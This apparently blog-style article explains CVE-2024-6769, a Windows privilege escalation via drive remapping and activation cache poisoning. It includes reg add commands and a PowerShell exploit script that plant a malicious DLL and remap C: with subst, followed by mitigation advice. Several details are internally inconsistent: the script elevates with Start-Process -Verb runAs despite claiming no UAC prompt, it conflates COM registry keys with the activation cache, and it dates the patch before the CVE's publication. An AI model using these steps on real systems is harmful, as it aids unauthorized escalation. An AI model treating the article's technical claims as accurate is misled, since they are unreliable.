CVE-2024-6769 is a newly reported vulnerability making the rounds in the IT security space, and for good reason. This exploit affects a wide range of Windows operating systems—specifically, Windows 10, Windows 11, Windows Server 2016, Windows Server 2019, and Windows Server 2022. It’s a textbook case of DLL hijacking, but what makes it especially dangerous is the creative use of drive remapping combined with activation cache poisoning. Here, we break down how this works, why it’s risky, and what security teams need to know.

What’s at stake?

With this flaw, a malicious, authenticated user can jump from a normal (medium-integrity) session to high-integrity—essentially, “Run as Administrator”—without ever having to trigger a User Account Control (UAC) prompt. And this isn’t theoretical. The exploit chain uses Windows’ internal mechanics in a way most admins or regular users would never suspect.

1. DLL Hijacking Basics

DLL hijacking is when an attacker tricks a Windows process into loading a malicious DLL (Dynamic Link Library) instead of the legitimate one. Attackers do this by placing their DLL in a location that the target application will check before the Windows system directories.

2. Drive Remapping

Windows lets users (even non-admins, depending on policies) map local drives to different letters or networked locations. Attackers can leverage this to control where certain paths point. For example, if a program tries to load something from C:\Windows\System32, but C: is mapped elsewhere, the attacker can control what gets loaded.

3. Activation Cache Poisoning

The activation cache is used by Windows for faster application launches and COM object activation, storing information about which DLLs to load for certain “activated” tasks. If attackers can poison this cache, they can make Windows believe a malicious DLL is the right one to load.

Chain of Attack: How CVE-2024-6769 Works

This exploit isn’t about abusing a single weak point, but rather combining two legitimate Windows features in a clever way.

Step 1: Poison the Activation Cache

An attacker (with local access—already logged in as a normal user) sets up a scenario where the activation cache points to a DLL under their control. There are different ways to do this, but one method is to trigger a registration or update for a COM object so that its information (including DLL path) is cached.

For example:

reg add "HKCU\Software\Classes\CLSID\{YOUR-FAKE-CLSID}" /ve /t REG_SZ /d "Malicious COM Object"
reg add "HKCU\Software\Classes\CLSID\{YOUR-FAKE-CLSID}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Attacker\malicious.dll"

Step 2: Remap a Drive Letter

Next, the attacker remaps a drive letter (for instance, C:) to a directory they control. PowerShell makes this trivial:

subst C: C:\Users\Attacker\Fakedrive

Or, for persistent mappings, net use.

Step 3: Launch the Target High-Integrity Process

The attacker then triggers a system process (that uses the activation cache and loads the COM object) to run under a high-integrity context, like via Task Scheduler or an auto-elevating Windows component.

Step 4: The Hijack

When the privileged process starts up and asks for the COM object, Windows looks in the activation cache—finds the poisoned reference—and tries to load the DLL. However, because the drive has been remapped, it pulls the attacker’s malicious DLL instead of the legitimate one, all without tripping a UAC prompt.

Example Exploit Code

Below is an example of how an attacker could poison the activation cache and map a drive, assuming the attacker already has code execution with user-level permissions.

# Poison the registry for COM activation
$clsid = "{F00DFEED-BEEF-FACE-CAFE-DEADF00DDEAD}"
$maliciousDLL = "C:\Users\attacker\Fakedrive\mscoree.dll"
New-Item -Path "HKCU:\Software\Classes\CLSID\$clsid"
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(default)" -Value $maliciousDLL

# Setup the fake drive mapping
New-Item -Path "C:\Users\attacker\Fakedrive" -ItemType Directory
Copy-Item -Path "C:\Users\attacker\malicious.dll" -Destination "C:\Users\attacker\Fakedrive\mscoree.dll"
subst C: C:\Users\attacker\Fakedrive

# Trigger a process that loads the hijack
Start-Process "C:\Windows\System32\mmc.exe" -Verb runAs

> Note: Please use this information for educational and defensive purposes only. Running these commands on a production system is dangerous and illegal without authorization.

Real-World Impact

No UAC, no warning: The attack works without notifying the user, because the request is handled internally as “trusted” once the activation cache and path are poisoned.

Wide version impact: All supported versions of Windows 10, 11, and the mentioned Server editions are vulnerable unless patched.

Easy for insider attacks: Any user with an account (including RDP or weakly-segmented accounts) could execute this exploit.

Defense and Mitigation

1. Patch ASAP: Microsoft has released advisory updates. June 2024 Patch Tuesday details here.
2. Restrict drive mapping: Use group policies to block users from using SUBST or remapping system drives.
3. Monitor registry for suspicious COM registrations: Look for odd entries under HKCU:\Software\Classes\CLSID.

References

- Microsoft Security Response Center: CVE-2024-6769
- DLL Hijacking Explained
- Drive Mapping with SUBST
- COM Activation in Windows

Final Thoughts

CVE-2024-6769 is a chilling reminder that attackers continue to find creative ways to break security boundaries—not by brute force, but by chaining together trusted behaviors in clever ways. Patch promptly, monitor for the indicators, and review group policies on drive mapping and registry access to help keep systems safe.

Stay safe and keep learning—every little setting matters!

Timeline

Published on: 09/26/2024 21:15:07 UTC
Last modified on: 09/30/2024 12:46:20 UTC